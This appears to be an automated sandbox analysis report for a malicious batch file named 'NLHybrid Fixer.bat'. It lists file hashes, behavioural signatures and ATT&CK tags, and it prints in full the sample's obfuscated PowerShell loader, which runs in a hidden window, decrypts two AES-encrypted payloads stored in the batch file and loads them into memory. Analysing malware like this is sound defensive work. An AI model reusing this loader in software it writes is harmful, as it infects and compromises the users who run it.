0682cfbf0f7c1425a627a847a7cfbc9d3c7633d8426b6f7800d81e391528167b

Analysis

max time kernel
1561s
max time network
1562s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
12-11-2024 06:17

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General

Target

NLHybrid Fixer.bat
Size

291KB
MD5

734fdc5c211a7b1fe3a5101c3b0aafd6
SHA1

3d8b84678e674a5b4b49ad4ee4669179d16b75d0
SHA256

0682cfbf0f7c1425a627a847a7cfbc9d3c7633d8426b6f7800d81e391528167b
SHA512

92b2af4e5dbdeefdad102696b8b6d85c10c2885d0e1bfb3d9b94c0ef8e1dafa488f8c8688504b8cb76e244f6abcd3f093e817f5767ae16daed89f80fcbb1db18
SSDEEP

6144:uoiULBMXvSD+eFkX0TupDOYvaktWHHvdTNb71M943xw:uLULBM47FNuNOWaxvH7m43a

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2228	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2228	2328	cmd.exe	31
PID 2328 wrote to memory of 2228	2328	cmd.exe	31
PID 2328 wrote to memory of 2228	2328	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('15dPngye8xc2zrvtzV/w74aCqiEwBCPIQU+QvJpDDdI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYfQCcxwv9En0wj3TE+fMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AIFyt=New-Object System.IO.MemoryStream(,$param_var); $lMkeE=New-Object System.IO.MemoryStream; $SZECh=New-Object System.IO.Compression.GZipStream($AIFyt, [IO.Compression.CompressionMode]::Decompress); $SZECh.CopyTo($lMkeE); $SZECh.Dispose(); $AIFyt.Dispose(); $lMkeE.Dispose(); $lMkeE.ToArray();}function execute_function($param_var,$param2_var){ $tWijb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZXwwn=$tWijb.EntryPoint; $ZXwwn.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat';$GwBNZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($aCkBV in $GwBNZ) { if ($aCkBV.StartsWith(':: ')) { $ggoTJ=$aCkBV.Substring(3); break; }}$payloads_var=[string[]]$ggoTJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2228-4-0x000007FEF64CE000-0x000007FEF64CF000-memory.dmp

Filesize
4KB

Download
memory/2228-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2228-6-0x0000000002760000-0x0000000002768000-memory.dmp

Filesize
32KB

Download
memory/2228-7-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-8-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-9-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-10-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download